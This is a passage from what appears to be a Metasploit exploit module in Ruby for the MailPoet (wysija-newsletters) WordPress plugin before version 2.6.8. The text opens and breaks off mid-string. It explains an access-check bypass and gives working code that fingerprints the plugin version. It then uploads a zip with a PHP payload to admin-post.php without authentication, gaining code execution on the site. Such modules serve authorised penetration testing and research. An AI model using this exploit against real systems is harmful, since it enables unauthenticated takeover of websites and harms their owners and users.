The exploit uses the Upload Theme functionality to upload a zip file containing the payload. The plugin used the admin_init hook, which is also executed for unauthenticated users when accessing a specific URL. The developers tried to fix the vulnerablility in version 2.6.7 but the fix can be bypassed. In PHPs default configuration, a POST variable overwrites a GET variable in the $_REQUEST array. The plugin uses $_REQUEST to check for access rights. By setting the POST parameter to something not beginning with 'wysija_', the check is bypassed. Wordpress uses the $_GET array to determine the page and is so not affected by this. }, 'Author' => [ 'Marc-Alexandre Montpas', # initial discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ], [ 'URL', 'http://www.mailpoet.com/security-update-part-2/'], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 1 2014')) end def create_zip_file(theme_name, payload_name) # the zip file must match the following: # -) Exactly one folder representing the theme name # -) A style.css in the theme folder # -) Additional files in the folder content = { ::File.join(theme_name, 'style.css') => '', ::File.join(theme_name, payload_name) => payload.encoded } zip_file = Rex::Zip::Archive.new content.each_pair do |name, content| zip_file.add_file(name, content) end zip_file.pack end def check readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt') res = send_request_cgi({ 'uri' => readme_url, 'method' => 'GET' }) # no readme.txt present if res.nil? || res.code != 200 return Msf::Exploit::CheckCode::Unknown end # try to extract version from readme # Example line: # Stable tag: 2.6.6 version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] # readme present, but no version number if version.nil? return Msf::Exploit::CheckCode::Detected end print_status("#{peer} - Found version #{version} of the plugin") if Gem::Version.new(version) < Gem::Version.new('2.6.8') return Msf::Exploit::CheckCode::Appears else return Msf::Exploit::CheckCode::Safe end end def exploit theme_name = rand_text_alpha(10) payload_name = "#{rand_text_alpha(10)}.php" zip_content = create_zip_file(theme_name, payload_name) uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php') data = Rex::MIME::Message.new data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') data.add_part('themeupload', nil, nil, 'form-data; name="action"') data.add_part('Upload', nil, nil, 'form-data; name="submitter"') data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') post_data = data.to_s payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name) print_status("#{peer} - Uploading payload to #{payload_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, 'data' => post_data }) if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end # Files to cleanup (session is dropped in the created folder): # style.css # the payload # the theme folder (manual cleanup) register_files_for_cleanup('style.css', payload_name) print_warning("#{peer} - The theme folder #{theme_name} can not be removed.
